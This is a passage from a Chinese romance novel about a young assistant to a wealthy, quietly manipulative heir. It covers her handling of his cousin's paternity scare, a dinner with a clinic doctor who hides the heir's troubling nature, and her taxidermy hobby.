就算非常非常想要跟她玩捕猎游戏的时候,它也只会很慢地张开嘴,很轻地咬住她,牙齿刚在她的皮肤上凹进去一个小窝,它就马上松口了。
陈仲尔:“是我跟它玩的时候,抢了它的球。那颗剑麻球。”
冯今毕明白了。
那颗球,是三年前,她把还是只幼猫的木法沙从车的轮毂里救出来以后,给它做的第一个玩具。
木法沙睡觉时总要抱着它。
是木法沙的阿贝贝。
但木法沙都已经抱着那颗球抱了三年了,三年里,陈仲尔从来没有碰过那颗球,怎么突然就对它有了兴趣?
冯今毕还没问,陈仲尔就说:“我看木法沙每次只要抱着那颗球,就能睡得很好。我也想抱着那颗球试一试。”
冯今毕:!
她就觉得陈仲尔今天怪怪的。
好粘人。
对她的碰触也比平时多了好多,多得她都快要公平不过来了。
果然,因为她不在家,他的分离焦虑又让他没能睡好吗?
她马上跟他说:“那颗球很旧了,我给你做个新的,不要用剑麻,用软的,线?还是……我回去再想想……”
“都好。你做的,我都喜欢。”
陈仲尔边甜甜笑着听着她说话,边看着她捧住他左手的双手。
看了片刻,他伸出手指,碰向沾了她体温的珍珠,在上面拨了拨。
冯今毕这才开始留意那条珍珠手链:“你妈妈又去慈善拍卖会了吗?”
陈仲尔的妈妈几乎每个月都会受邀参加慈善拍卖。
每次去,如果她自己没有喜欢的,就一定要给她的三个孩子每人拍下一件藏品。
冯今毕刚搬到陈仲尔家后不久,就总能看到陈仲尔拿着他妈妈传过来拍卖图录,愁眉不展。
“这次又都是珠宝,我全用不上。可我妈妈非要我挑一个。”
他把pad推给冯今毕,冯今毕就靠近过去看了。
那一场拍卖的全是百年前的古董收藏。
每一个都超级好看。
越看越好看。
看得她眼花缭乱,就像小老鼠掉进了米缸里,怎么都看不够。
看到她盯着一对维多利亚时期的珐琅双面微绘耳环,还把照片放大细节看了好久,陈仲尔吃着她刚烤出来的锅巴:“你喜欢这个?把它给你。”
冯今毕摇头。
她是喜欢,但并不是想要,她只是光看着就足够高兴了。
但陈仲尔还是把它拿回来了。
“我妈妈要我们每个人都必须挑一件,但凭空挑,挑不出来,如果是想到给具体的人挑,就容易多了。以后,我只用想着是给你挑的,就再也不用发愁了。”
他说完,让她戴上看看,一脸很开心很期待的样子。
他这样,本来就喜欢彩色鲜艳亮晶晶东西的冯今毕就更经受不住诱惑了:“我就戴一下。戴完就换给你。”
陈仲尔说好,她就戴上了。
戴完后,她心满意足地摘下来,还给他。
他接是接了,但从来不收起来,就随便乱放,那对耳环好几次都差点被木法沙拖到角落里。
后来。
布契拉提时期的银洋蓟花古董胸针;甲虫图案微砌马赛克的圆形古董发卡;讲着伊索寓言里公鸡与狐狸故事的新艺术时期红宝石镶钻雕金吊坠;大颗的红色宝石、绿色宝石、蓝色宝石——
全都被木法沙叼走过!
她去问陈仲尔怎么办,他就只顾着低头在手机上打游戏:“我又用不上,我才不要把它们收拾到的我屋子里。”
看陈仲尔真的不打算管了,冯今毕就在经过他的同意后把它们都拿走了,整整齐齐放进她的保险箱,没事就在家里换着戴着玩。
她还用它们打扮家里的玩偶。
上个月陈仲尔给她的那套黄金钻石小鸟,就被她分别挂到了床头三只猫头鹰宝宝的脖子上,现在还没有拿下来。
她抱着它们,做着梦,想,如果将来陈仲尔家破产,她就把这些都变卖,拿换来的钱养陈仲尔。
5.叮
给陈仲尔的手上过药,冯今毕把重新热好的饭端上了桌。
汤里的乌鸡是冯今毕老家的特产。
乌皮乌骨,白毛凤冠,很补很有名。
是知道她想做以后,奶奶特意处理干净,塑封好了寄给她。
冯今毕尝了尝。
她做的远没有奶奶做的好吃。
但陈仲尔还是喝了一大碗,又加了她做的细面,慢慢吃完了第二碗。
等他觉得还是困,又回屋里补觉后,冯今毕拿出了手机,打开今天收到的第一封邮件,保存了那张超声图,到聊天软件转发给【钟荷】。
钟荷在本市的一家私人诊所上班。
那间诊所在成立时有陈家的出资,钟荷是陈家在诊所里的负责人,自然而然负责陈仲尔以及陈家人在这里的一切健康问题。
冯今毕跟她也是因此而认识。
陈仲尔总是很定期地体检,冯今毕跟钟荷的碰面就也很经常。
上周,两个人还约好,钟荷今晚会到冯今毕的家里吃饭,吃小龙虾。
小龙虾是用冯今毕秘制辣酱炒出来的,味道堪称一绝,除了在她家,哪里都吃不到。
冯今毕不算能吃辣,被辣得厉害了就容易胃痛。
但等胃好了,她就又馋。
反反复复,不记教训。
为了不让自己吃太多,她每次做小龙虾,都要呼朋唤友地叫人来陪她一起吃,嗜辣如命的钟荷几乎次次都应。
收到冯今毕的消息,钟荷秒回,两人很快就那张图对了些信息。
钟荷冷性寡言,在公事上很有分寸,从不主动多嘴。
但出于担心,她还是在冯今毕不再向她发消息后,问了:[是你的吗?]
[不是。]
她都好久没有男朋友了。
冯今毕本来也不打算瞒钟荷,如实打字道:[是陈家航在这里的一个f**k buddy发给我的。]
钟荷:[糟糕。]
冯今毕:[猫猫流泪.jpg]
但钟荷马上想起来:[陈家航不是gay吗?]
没错。
陈家航是gay。
他是陈仲尔的一位堂哥,标准的trust fund baby,拿完学位就开始常年四处旅居,到处艳遇留情。
两个多月前,陈家航到了陈仲尔这儿,被陈仲尔的助理冯今毕安排住在了她的楼下。
反正整幢楼都是陈仲尔爸爸的产业,楼下一直空着,安排起来很方便。
不方便的,是处理陈家航的艳遇。
陈家航非常爱玩,但又非常惜命,带人回来前必定先看体检报告,睡只肯睡在自己信得过的房子里,用也只肯用自己人准备的东西。
而且,他没有助理,到了哪个城市,就由家办联络在那个城市里的陈家下属帮他处理这些杂事。
冯今毕第一次听说陈家人的这种做派时,叹为观止!
但轮到自己成了那个下属,她就哇哦不出来了。
好在陈家航满脑子只有那一件事,对别的要求倒不多。
冯今毕让他满意地在这里度过了冬末,最后在上个月底,宾主尽欢地将他送上了离开的飞机。
冯今毕自信地以为,她的这件工作做得很完美,自信到在邮件里看到那个男孩在自我介绍后说那张超声图里的是陈家航的孩子时,她还觉得那是一个玩笑。
直到看到后面,她的脸色才变了。
怀孕的并不是那名跟陈家航过夜的男孩,而是他的姐姐。
他在这里最后一次过夜时,偷走了陈家航用过的condom,从里面取精,让他的姐姐怀了孕。
冯今毕不是没听过这种事。
陈家的家办也跟她提过,要她留意。
她也没敢忽视。
每一次陈家航带人到楼下,她都会格外警惕,认真地跟保洁确认,问屋子里用过的东西有没有异常、同盒子里少的数量能不能对得上,就怕出意外。
明明每次都……
每次……
想到这,冯今毕的底气不足了。
下午,在回家的路上,她重新核对后发现,并不是每次。
有一次,她没有认真确认。
就一次。
就一次。
但是,在跟钟荷对过超声图上的信息后,时间上,还真的可能就是那一次。
把碗放进洗碗机,她挤了一捧洗手液,打开水龙头。
哗啦。
大雨倾盆而下。
暴雨毫无征兆落下的前一刻,冯今毕刚在自己家做完第一锅小龙虾。
她摘掉围裙,正想去找一找被辣味呛跑了的木法沙。
可她还没打开手机里的鸟叫音频,就先收到了钟荷快要到了的消息。
接着,雨声伴着轰隆声,毫不留情从天劈下。
冯今毕趴在窗边,默念了一会儿希望雨水变小的咒语。
但这次没用。
她只好雨衣雨靴全副武装,拿着家里最大最重的一把伞去了楼下。
虽然被暴风吹得左摇右晃,但总算勉勉强强拿住了伞,在钟荷打开出租车门的第一秒就冲上前用伞将她护住,没让雨水打湿钟荷傍晚刚拉直的头发。
钟荷的头发跟冯今毕一样,都天生带卷。
但钟荷觉得乱,难打理,总会定期去拉直。
顺黑的短发垂在耳下,她的皮肤白,脖子长,常年不苟言笑,语气冷静,戴着副高度数的银边圆眼镜,有种很智慧的秀静。
她有时会在冯今毕家里过夜,所以冯今毕的衣帽间有好几套她的干净睡衣。
换掉被雨打湿打潮了的衣服,等冯今毕把小龙虾和她煲的冬瓜玉米汤端到客厅的小圆桌,两个人就舒舒服服地对着坐在地毯上开始吃。
她们熟,话也就说得简短。
钟荷:“有几成?”
冯今毕:“不好说。但可能性很大。”
钟荷看她蔫了,觉得这样子的冯今毕很少见。
她把新剥好的一碗小龙虾推到冯今毕面前:“不像你会犯的错。”
冯今毕默默地把碗接过来。
的确不像她会犯的错。
进到陈家家办,迄今为止,由她负责的事情,从没有出过差错。
家办中有专门负责带她的姐姐。
刚入职时,她什么都不会,家办带她的姐姐就通过电话和信息,一件事一件事地手把手教她。
家办的姐姐告诉她,工作就是工作,不需要理解,不用投入感情,不能自作主张,只要照着上面定好的规则和步骤做,就不会出错。
姐姐教得很认真,冯今毕也听话地认真照着做、认真跟着学。
相似的事情,只用从头到尾学一次,她就能学会,然后一丝不苟地做好。
最开始上手的时候,真的很忙。
忙到她完全无法顾及她的社交账号。
那是她在大学不再继续兼职后,和向鸥一起创建的账号。
账号平时由向鸥在管。
向鸥会负责拍摄、修图、发布,然后筛掉那些诅咒、谩骂的评论和私信,只把夸奖和订购的部分整理出来给冯今毕看。
而冯今毕只用安心地做她的标本剥制。
是的。
标本剥制。
她在去过博物馆后,就对标本很沉迷,每天就算再忙,也会抽空看教程学习。
她又意外地天赋很好,经她手做出来的剥制标本,小动物神态鲜活,仿佛从来没有离开。
很快,她的账号就在标本剥制的圈子里崭露头角,想要找她制作标本的人络绎不绝。
但她只是喜欢看标本,喜欢做标本。
她用着农场给爬宠作饲料的冷冻鼠和冷冻雏鸡,仔细地处理它们的皮毛,给它们填充新的“骨骼”和“内脏”,为它们挑选明亮的眼睛,给它们做精致好看的衣服,让它们能永远地在玻璃橱窗里闪闪发光。
整个过程,她始终沉浸在心流里,就像一棵舒服伸展着枝叶的树,贪婪地一大口一大口吞食着新鲜的氧气。
很松爽。
很开心。
还很有满足感。
如果有人想要购买她做好的标本回去收藏,她也愿意卖,而且卖得很好,每次刚发出照片,就会被高价买走。
可私信她账号的许多人希望的,是将自己家中去世的宠物做成标本,长久地留在自己的身边。
这种事,冯今毕曾经做过一次。
那是一只因衰老而死去的龙猫。
为了能还原它曾经的神采,冯今毕向它的主人安妮要了许多它活着时的照片和视频。
从二十年前,它还是只眼睛都没有张开的幼崽、被也还是少女的安妮从觉得它太弱养不活的朋友那里把它接回家,忙手忙脚地一次次给它喂奶、保温;
到安妮跟她青梅竹马的男友结婚,已经很有分量的龙猫戴着证婚人的领结,神气十足地站在满脸幸福的两人中间;
再到安妮的丈夫生病去世,浑然不知的婴儿在摇篮中沉睡,龙猫陪在安妮的身边,慢慢蹭掉安妮的眼泪……
剖开龙猫的时候,冯今毕好几次都差点哭出来。但她又不敢乱掉眼泪,只能拼命忍着。
标本做得倒是特别好。
是她做的最好的一具。
但做完标本后,她就难过地跑到地下的酒窖里,边掉眼泪边抱住两瓶烈酒,兑着冰块喝了一个晚上,最后好像是被陈仲尔弄回了卧室里。
她不记得了。
但是。
反正。
她不要再做这种标本了。
一点都不开心。
向鸥知道了以后,再也没有拿账号上的这些消息来打扰她。
但一个多月前的那天,向鸥却说,有一位宠物的主人迫切地想要亲自跟冯今毕谈一谈,希望冯今毕能将她的宠物做成标本。
半年前,范女士带着陪伴了她八年的兔子一起搬家,在中途遭遇了车祸。她及时得到了救治,她的兔子却去世了。
范女士花高价请了位有名的标本剥制师,请他将她的兔子留下来。
可那位剥制师的态度轻慢,手法粗糙,几乎将兔子的尸体畸形地毁了。
范女士无法接受,四处求人修复。
可听到她请求的剥制师们,有的不愿意得罪那位获过奖的同行,有的的确没有能将它修复好的自信。
不断地被拒绝,范女士每天都在后悔地哭,后悔为什么要在那一天搬家,后悔为什么要将它送给不负责任的剥制师,情绪失控了很多次。
这个时候,有人向她推荐了冯今毕的账号。
向鸥反复地回复,说剥制师不接受制作有主人的动物,兔子就更不可能接了。
在账号的主页上,她们就明确地标明了:
【不会售出兔子标本。请不要询问。】
但范女士仍旧不断地在私信中恳求,讲述了上面的种种。
了解了事情的始末,犹豫了很久,冯今毕还是向范女士要了一些照片和视频。
打开它们前,冯今毕给自己打过气,做了很多的心里准备。
可当她看到视频里流着泪的范女士一声声地说着她们的过往;看到它曾经最喜欢玩的那些漂亮的珠子和羽毛被串成了项链,正轻轻地戴在它再也不会起伏的胸前,冯今毕还是觉得,珠串上一根根被眼泪淋得湿漉漉的羽毛正在把她的心脏一层层裹住。
好重。
好沉。
冯今毕不做兔子标本,是因为她曾经养过一只兔子。
那是她幼儿园时亲手从母兔的身体里接生出的小兔子。
是她人生中第一个担负的生命。
可它只陪伴了她一年。
发现小兔子突然不吃东西的时候,奶奶正在镇里的医院住院,妈妈从城里赶回来,又要照顾她,又要照顾奶奶,忙得连多看小兔子一眼的时间都没有。
小镇里,有好几个兽医会给猪给牛治病,但没有人能给小兔子治病。
她带着它找遍了她能找到的大人。
可每一个人都说没有办法。
她只能把它带回家,眼睁睁看着它在她的怀里抽搐,不动。
那一切发生得好快,她根本就没能理解过来。直到做午饭的妈妈回家,说兔子已经死了,她的眼泪才掉下来,边哭边拿出她攒了很久的、很珍爱的彩色塑料珠子,想用线把它们串编成小花、戴在小兔子的身上。
可线不停地断开。
她怎么都编不好。
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>暴热的夏天,妈妈不准她把生病死了的兔子尸体放在家里,不管她怎么恳求,着急去医院给奶奶送饭的妈妈都不肯等她把小花珠串编好,骑着自行车就把小兔子带走了。
冯今毕摸了摸自己的眼睛。
她已经很久没有这么清晰地想起她的小兔子、想起那串最后还是断了满地的珠子了。
但她的眼睛是干的。
她比以前坚强了不少,已经没有那么容易哭了。
就只是难过。
心里发胀。
于是,她跑到厨房,又开始用威士忌浇冰淇淋吃。
芒果味的。
香草味的。
酸奶味的。
……
因为太好吃,她一口一口吃得停不下来,威士忌也越倒越多。
越倒越多。
然后,她就又断片了。
这次断得相当彻底。
醒来后,窗外漫天飞雪。
她摇摇晃晃地趴到窗边看了好一会儿,才发现家里像是被飓风和五只没人管束的不听话比格一起席卷过,她的头发被乱七八糟盘了起来,裙子上还有一大片干掉的冰淇淋!
不过,她的心情好像好了很多。
她摸摸胸口,昨晚的难过一点儿都没有留下。
使劲地回忆了很久,实在是一个瞬间都记不起来,想着反正是在家里,怎么疯也无所谓了,于是,宿醉后的冯今毕就干脆地又趴回了窗边,继续看雪。
等雪停,冯今毕答应了范女士。
她亲手将兔子拆开,重新做成标本,跟它活着陪在范女士身边时的样子很像。
然后,她告诉向鸥,她以后绝对!绝对!绝对不再做有主人的宠物标本了!
就算再有类似范女士这样的事发生,也不准再告诉她!
她以为,这件事就这样结束了。
可她没想到,就在她断片的那个晚上,陈家航带了人回家。
在给她打了一通电话,发现她的手机关机后,陈家航就再也没有找她,事后随便叫了个没经验的保洁收拾了屋子。
而第二天晚上,陈家航就离开了这座城市,冯今毕于是也没留意到东西少了,只顾着叫人把里面的东西都换掉,马上消毒。
啊——————
“我因为想起我小时候养的小兔子死了太伤心,所以喝酒喝断了片,没能接到陈家航先生的电话”这种理由,她实在没有脸对着家办的姐姐说出口。
好在家办的姐姐也没有问理由,听她说明情况后,很快给她传了一份文件。
这种事在各家的家办中都很司空见惯,助理们早就做好了经验总结,在文件里事无巨细地列满了处理这类事的全部流程。
冯今毕很快从各种if线里抓到了符合她现状的。
“得先做亲子鉴定。”
她看着钟荷。
“诊所现在没有陈家航先生dna的留存。”她跟钟荷已经确认过了这一点。
“按规定,为了保护陈家航先生,不让他受到惊吓,我们不可以在鉴定报告出来前让他本人得知这件事;那我们现在就只能用陈仲尔的dna,跟那名肚子里的胎儿做其他亲属关系鉴定。”
钟荷:“按规定,这件事也不可以告知陈仲尔吧?”
“对。这是陈家航先生的隐私。我们必须要为他保密。”
钟荷点头。
“好。”
她对瞒着陈仲尔进行亲子鉴定的事没什么意见。
于是,在将冯今毕做的食物吃了个精光、终于有了饱腹感以后,她面无表情地表示:
“我可以跟你一起瞒着陈仲尔,但今晚,我希望能在大玩偶室里睡。”
那有什么问题。
两人一起收拾干净了客厅后,冯今毕就带着钟荷进了她最大的那间玩偶室。
冯今毕很喜欢一个牌子的玩偶。
这几年,因为陈仲尔,她几乎拥有了这个牌子的所有玩偶。
全部系列、全部颜色、全部大小、不同洲或国家城市的限定和节日限定,就连店里放着用于展示的巨大非卖品,也都被放进了冯今毕的这几间屋子。
钟荷对玩偶没有什么欲望,但她喜欢企鹅。
冯今毕这里,有很多玩偶企鹅。
钟荷神色冷淡地仰靠进巨大花生企鹅的怀里,舒心地推推眼镜,看看吊满了各色巨龙的天花板,又看向对面。
“钟荷。”
冯今毕穿着件泡泡袖睡裙,正抱住一只穿着跟她一模一样、只是小了几码的睡裙的小熊,圆圆的耳朵边缘从她卷卷蓬勃的长发中露出来,可爱得不得了:
“为了庆祝我们认识一周年,我做了蛋糕,冷藏在楼上陈仲尔的冰箱里。等闹钟响了,我就上去拿下来。”
钟荷一滞,动了动嘴唇,但最终没有出声。
冯今毕一直以为,一年前的今天,她和她第一次见面。
但钟荷其实比冯今毕记忆中更早地就见过她了。
那是两年多前,陈家那位贵重的少爷在晚上平静地打电话给诊所,说他吃了粘土,要洗胃,现在正在开车前往诊所的路上。
这种消息自然长了飞毛腿般地被传回了陈家家办。家办的旨意又立马颁了下来,整间诊所灯火通明,所有人员严阵以待。
钟荷亲自把他接下了车。
那天。
陈仲尔还是那副样子。
像朵漂亮到快要腐烂的白色的花,冷漠索然,带着股淡淡的死气,了无生趣地俯瞰着又无视着周围的一切。
洗胃时也没什么反应。半死不活地垂着眼睛。直到输液时接到一通电话,他才抬了抬眼。
钟荷需要观察他的情况,当时就在旁边。
她没有听清打来电话的人说了什么,但不可避免地听到了陈仲尔在这边说的话。
“不是误食。
我故意。
她没吃我喂给她的水果。我不开心,所以不想让她顺利。”
完全不觉得自己在说的话有什么问题,男生的语气不以为意。
“你要尝吗?会比想象中得还要难吃。”
“喜欢啊。就像,喜欢kitten?”
“因为她可爱。想要买给她。你不是也给路易买了一整个公园?”
6.叮!
给冯今毕拨去的电话不是钟荷打的。但从见到冯今毕的第一眼,钟荷就知道,那就是陈仲尔口中的kitten。
真的很可爱。
什么都不知道。
完全相信了诊所在陈仲尔的授意下告诉她的病情,仔仔细细地听照顾他的注意事项,还在之后自责地找医生询问,有没有可能是因为她做了一道没有全熟的蛋,才让陈仲尔腹痛得那么重。
但那绝对不是冯今毕的错。
钟荷亲眼看到过陈仲尔在冯今毕面前的样子。
礼貌。
耐心。
温柔。
有时甚至甜得要命。
任谁也看不出他不正常的本性。
每一次,都让钟荷觉得毛骨悚然。
可她跟陈家签了数不清的协议,无论是陈仲尔的性格问题还是身体情况,她都不敢对着冯今毕说漏一个字。
而且,她觉得,就算她说了,冯今毕也不会信。
以陈仲尔的手段,在冯今毕的眼里,他恐怕一直都是个完美到不真实的人。
大概一年多以前,钟荷换了住所,曾好多次地在楼下看到陈仲尔。
他几乎每天都会在从学校回家的途中从车里下来,走进玩偶店,给冯今毕买玩偶。
跟钟荷想象中看也不看地拿出卡、说“把这间店里所有玩偶都买一份”的样子不一样。
陈仲尔会认真地对着玩偶挑脸,一只一只地挑,然后把最好看的那只给冯今毕带回去。
跟冯今毕熟了以后,钟荷才知道,冯今毕每次出门后回家,有时候只是出门丢垃圾,但只要她重新走进家门,她就能在陈仲尔的身边看到新的玩偶。
昨天回家时,迎接她的是盘腿坐在地上、对着电脑面无表情写论文的陈仲尔,他的旁边是一只全新的Roberta,全身的毛潦潦草草的,超级无敌可爱。
今天回家时,被她找到的是睡眼惺忪、趴在床上玩手游的陈仲尔,他的下巴下压着的,是只超级巨大、之前一直放在展示橱窗里、她抱都抱不住的里奇雨蛙。
就算偶尔有几次,他没有把新的玩偶放在身边,冯今毕也总能在她的屋子门口看到它。
没有一次例外。
没有一次失望。
所以冯今毕总是很想回家,看这次陈仲尔的身边又会有什么新的玩偶出现。
如果是她在家里而陈仲尔不在,那她也会很期待陈仲尔回来,因为他每次回来也会给她带玩偶。
钟荷第一次被冯今毕邀请到家里做客时,冯今毕住的还是那栋七层高的别墅。
知道那天是她的生日,冯今毕带着她走到了一扇关着的屋门前。
推开门。
铺满了蓝莓、草莓和香蕉的奶油松饼;包满了红豆沙的糯米草莓大福;新鲜炸出来的、倒满了各种酱汁的炸虾仁;顶着冰淇淋球的糖浆华夫饼;用小奶锅煮好、刚刚被热腾腾倒进肚子圆鼓的宝蓝色搪瓷壶的泰奶;数不清的各种材质和明亮颜色的盘子碟子——
钟荷觉得自己仿佛掉进了兔子洞,置身在奇境的茶话会里。
虽然脸仍习惯性地板着,心跳却加快了很多。
那是她被学习和科研占满的人生中,第一次见到这么多色彩的一天。
而也是那天,下午茶快到尾声时,冯今毕忽然竖起了耳朵。
钟荷跟着去听,听到了门口挂的铃铛在响。
“陈仲尔回来了!”
冯今毕跟她说了抱歉,朝着外面跑出去,过了一会儿,就抱回来了一只卷毛和粉色都很完美的Imogen,好看到她迫不及待要拆掉她自己头发上的两条透明的纱带,系到了兔子的耳朵上。
冯今毕的头发卷蓬蓬的,发带缠到里面时,不太容易抽出来。
钟荷很想伸手帮她,但当时,陈仲尔正静静地站在屋门外。
她思忖片刻,没敢动。
但现在,那个人又不在这里。
钟荷从手边的圣诞树上取下一枚很大的白纱蝴蝶结发卡,让冯今毕过去,帮她戴到后脑勺。
冯今毕听话地过去让她戴好,然后从高大吉利猫的头上取过顶花环,也给她戴。
戴好以后,她就没有再坐到对面,而是靠在钟荷身边,和她又说了一会儿话。
直到定的闹钟响了,冯今毕才站起来,拍拍纱织的裙摆,让钟荷先在玩偶屋里玩,自己跑着去了电梯。
陈仲尔的家里还是昏昏暗暗的,只客厅有一点光,游荡在蛋白石灯罩的边缘。
但也因为那点光,冯今毕看到了躺在长沙发上的那条很长的人。
枕头盖住了他的脸,像是睡着了。
冯今毕放缓了脚步,轻轻地走到他的跟前,把枕头从他的脸上拿下来,却在他的额头上看到一片退烧贴。
她马上想到了他手上的伤。
她抱着枕头,很安静地蹲到了他的旁边,先看了看他的左手,见创口贴都好好地贴着,她才又小心翼翼地用指尖去碰他的耳后。
烫。
这时,男生慢慢睁开了眼睛。
轻颤的长睫间,瞳仁很亮,宝石般地,眸子中的冷光几乎将他的睫尖都映得莹莹,可里面的眼神却充斥着浓烈锋利的烦倦,像一柄直刺刮骨的雪刃。
但下一瞬,乌睫轻落又扬起,他就变回了陈仲尔平时的样子。
他转过身,向着冯今毕侧躺,声音慢吞吞的,含含糊糊:
“小今?”
“陈仲尔。”
觉得他可能没睡醒,冯今毕说话也慢慢的,哄着他,“回去睡吧。”
他不说好,也不说不好,就明亮着两只眼睛,直直地看着她。
被他盯着,莫名地,冯今毕感觉有大片大片黑色的纱从他的眼睛中飘出来,飘向她,几乎要无形地把她束笼在里面。
她肌肉发僵,抱紧怀里的枕头下意识想往后退。
但想到这是陈仲尔,她又马上放松了下来,还主动地又靠近了他一点儿。
“陈仲尔。”
她看着他因侧躺在沙发上而压出的一小片微红的脸颊肉,觉得好可爱,没有忍住,用手指在上面碰了碰。
“回去睡。好不好呀?”
他回了句什么。
声音很小。
冯今毕听不清,只能再凑近。
他却忽然将额头抵了上来,贴了贴冯今毕的额头。
“烫吗?”
好冰。
冯今毕:“你贴着退烧贴呢。”
果然是在发烧。
都开始犯傻了。
“我去给你找耳温计。”
他躺了回去:“不要。”
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“那我去联系诊所。”
“不要。”
他说着,伸出手,去玩冯今毕垂到身前的头发。
他的手没轻没重,冯今毕想把头发扯回来,却被他更用力地攥住了。
冯今毕只能在他的头发上也抓了一下:“疼。”
这样就疼吗?
他放轻了,但手指仍卷在她的发尾:“为什么上来?”
他的肌肤雪白,发着烧,整个人都透着股芙蓉色,勾着她头发的手指指节晕出了薄薄的粉,眼睑也泛着微微的潮红。
冯今毕被他的样子和今晚过分的亲近所蛊惑,手指又在他的眼睛下面贴了贴。
他还是很放任。
没有一点想躲。
甚至还主动地将脸朝着她伸了伸,让她摸。
冯今毕的手指轻轻地贴在他眼下的皮肤上滑动,指尖很快被他的温度染得发烫。
那股烫意沿着她指尖的血管向下流淌,烫得她的整条手臂都要开始发抖了。
她看向着他的眼睛。
他还在看着她。
只看着她。
那片琥珀色的湖里,只有她的影子。
她觉得自己又有些晕乎乎。
就像第一次见到陈仲尔时那样。
“我做了蛋糕,放在你这儿的冰箱里了,我来拿。”
她的声音有点发不出来,答得很小声。
他看着她,忽然说:“我想吃。”
冯今毕轻声跟他解释:“蛋糕是做给钟荷的。我要拿下去切。”
“小今。”
他的眼尾一下儿就垂了下去,很可怜的样子。
“我生病了。”
冯今毕忽地说不出话。
陈仲尔从来没有向她要过东西,更没有用这张过于漂亮的脸、这样委屈地垂着眼角向她撒娇。
虽然她一点都不讨厌,还很想再靠近过去摸一摸他,但是太突然,她有点措手不及。
“那……等我们切完,我给你留……”
“我是在开玩笑。我现在吃不下蛋糕,马上就要回屋睡觉了。小今,”他笑着,学着她的语气,“不要什么都相信呀。”
说完,他松开缠着她头发的手指,从她的怀里抽出枕头,自己抱住,坐了起来。
枕头是竖着被他像八爪鱼一样用长胳膊和长腿圈着抱住的,枕头的上面正好蹭到他的下巴。
于是,他歪了歪头,又把脸贴到了枕头上,把冯今毕很喜欢的、他的那片脸颊肉又压了出来。
冯今毕看着他的脸颊肉,已经有点不满足于只是摸一摸了。
她抿了好几次嘴唇。
想要亲。
想要吮。
想要吸。
想要啃咬。
最近她总是在忍,一直没能很好蜕化掉的口欲期本来就有些又要出现的迹象了,他还表现得对她这么纵容,好像在默许她做什么都可以。
“那我,先下去了。”
冯今毕努力地让自己不要冲动。
“钟荷还在等我。”
“好。”
男生垂眸看着她因不断抿压而愈发饱满殷红的嘴唇,抱住枕头的手脚慢慢收紧,脸上的笑得却更加甜了。
“小今。”
你好。
“玩得开心。”
7.叮
回到楼下,冯今毕把蛋糕放到厨房,先是咬着硅胶吸管,喝了一小会儿冰镇的小甜酒,然后走到了一间专门被她做成种植温室的恒温屋子里摘草莓。
离开时,她把正躲在里面偷啃薄荷叶子的木法沙抓住,费劲地负着重,把它抱在肩上,颤巍巍地带了出来。
洗草莓。
切草莓。
做奶油。
挤奶油。
全神贯注地沉浸着,在把蛋糕装饰好的过程中,冯今毕整个人都轻快起来,刚才的那些难耐一扫而空。
做饭也好,做甜点也好,都是繁琐麻烦的事。
但冯今毕是真的乐在其中。
做的时候进入心流、全情投入很开心。
做完了看到成品,成就感十足很开心。
自己吃觉得很好吃很开心。
分享给别人、看别人吃完夸奖她,满足感高涨也很开心。
她总是能从生活的任何小事琐事中得到开心。
所以钟荷也总是在心里期待着跟冯今毕见面。
无论她在外面遇到了多少的糟心事和糟心人,只要一看到冯今毕像现在这样笑着跑向她“刚做好的蛋糕!我们一起切!”,她这只被生活压趴在地上的、瘪掉的气球人,就能够腾地再次直挺挺立起来。
她甚至在想到冯今毕不久后就会离开这里、跟着陈仲尔回陈家时,好几次盘算过要申请调岗,跟着冯今毕一起回去。
她站起来去接蛋糕,脚不小心碰倒了一只坐在地上的巨大号月亮。
弯腰把它扶起来,钟荷在它的背后看到了一条宝石项链。
祖母绿、蓝玉髓、蓝宝石、缟玛瑙、绿松石还有好几百颗的圆钻石,被线穿着编成一朵朵小花,又串成一条项链。
很像她学生时代曾流行过的项链编法。
钟荷没有玩过,但她背着沉甸甸的辅导书从操场路过时,经常能看到女同学们在用各色的塑料珠子这样穿编。
她把月亮玩偶放了回去,没碰那条项链。
之后,在将一整个草莓蛋糕和冯今毕用剩下来的草莓和奶油做成的巴菲杯全吃光后,有了饱腹感的钟荷向冯今毕辞行。
外面的疾雨只下了一阵,现在已经停了。
冯今毕在送钟荷出电梯前,将一个小盒子拿给了她。
钟荷不久前参加活动,申请领养了一只企鹅,主办方为表感谢,送了她一只很小的企鹅玩偶。她觉得那只企鹅的神态很像小王子,想给它戴一顶皇冠。
上次来冯今毕家时,钟荷给冯今毕看企鹅玩偶的照片时随口说了这件事,但出门就忘了,以至于现在企鹅的头顶还是光着的。
她忘了的事,冯今毕却放在了心里。
那个小盒子放的,就是冯今毕亲手织的毛线小皇冠,大小正好能给钟荷家的企鹅玩偶戴上。
种种事,让她瞒着冯今毕的愧疚感又累加了一层。
她无比想要将陈仲尔瞒住的事告诉冯今毕,但职业的道德和协议上的违约金再一次让她住了嘴。
她无声地叹了口气,抱了抱冯今毕。
冯今毕的眼睛忽地睁圆了。
她一直觉得,钟荷对人有洁癖,除了在工作学习中把人当成由水、蛋白质、脂肪、碳水化合物、维生素和矿物质等组成的生物时会愿意戴着手套对人进行触碰,日常生活里,钟荷一直都是离人能有多远有多远。
她也是花了好长时间,从跟她隔着好几个人的距离,变成隔着一个人的距离,再变成了偶尔地能像刚才在玩偶房里那样跟她靠在一起贴着坐。
但是现在,钟荷主动地抱她了!
身体完全贴在一起的、手臂抱住后背的抱!
陈仲尔主动地伸出脸给她摸。
钟荷也主动地抱了她。
今天可真好。
她马上就很黏人地抱了回去。
钟荷被她这么一抱,更加不忍了。
她欲言又止了好几回,但最后告别时,还是只说了一句:“三天后,诊所见。”
她们已经说好了。
三天后,是冯今毕陪陈仲尔去诊所体检的日子。
冯今毕会提前跟孕妇那边联系好,让钟荷在给陈仲尔抽血后,能马上开始进行dna检测。
·
第一天。
冯今毕起床。
手机上,有陈仲尔清早给她发的一张照片。
是他在用耳温计量体温。
就像只是随意地拍一张照片通知她,照片里人的边缘都晃着虚影,没精打采地懒懒垂着睫毛,头发也是乱蓬蓬的。
但脸还是无比英俊。
冯今毕偷偷地把那张照片保存下来。
然后打字:
[多少度?]
等了一会儿,陈仲尔没有回复。
冯今毕于是打开监控app,看他现在有没有起床。
陈仲尔不在卧室。
她退出去,调到其他屋子去找,却发现有几个监控的画面黑屏了。
她平时都是睡前需要的时候才会打开app,而陈仲尔每次都在卧室里。她没留意过其他的屋子,都不知道它们是什么时候坏的。
她给监控的负责人发了消息,上楼去找陈仲尔。
还是昨晚的那张沙发,男生四肢松散地侧躺在上面,大半张脸埋在松软的枕头里。
他看着她,懒洋洋不肯动地跟她说“小今,早上好”,浓密的乌睫轻轻地扫着雪白的枕套。
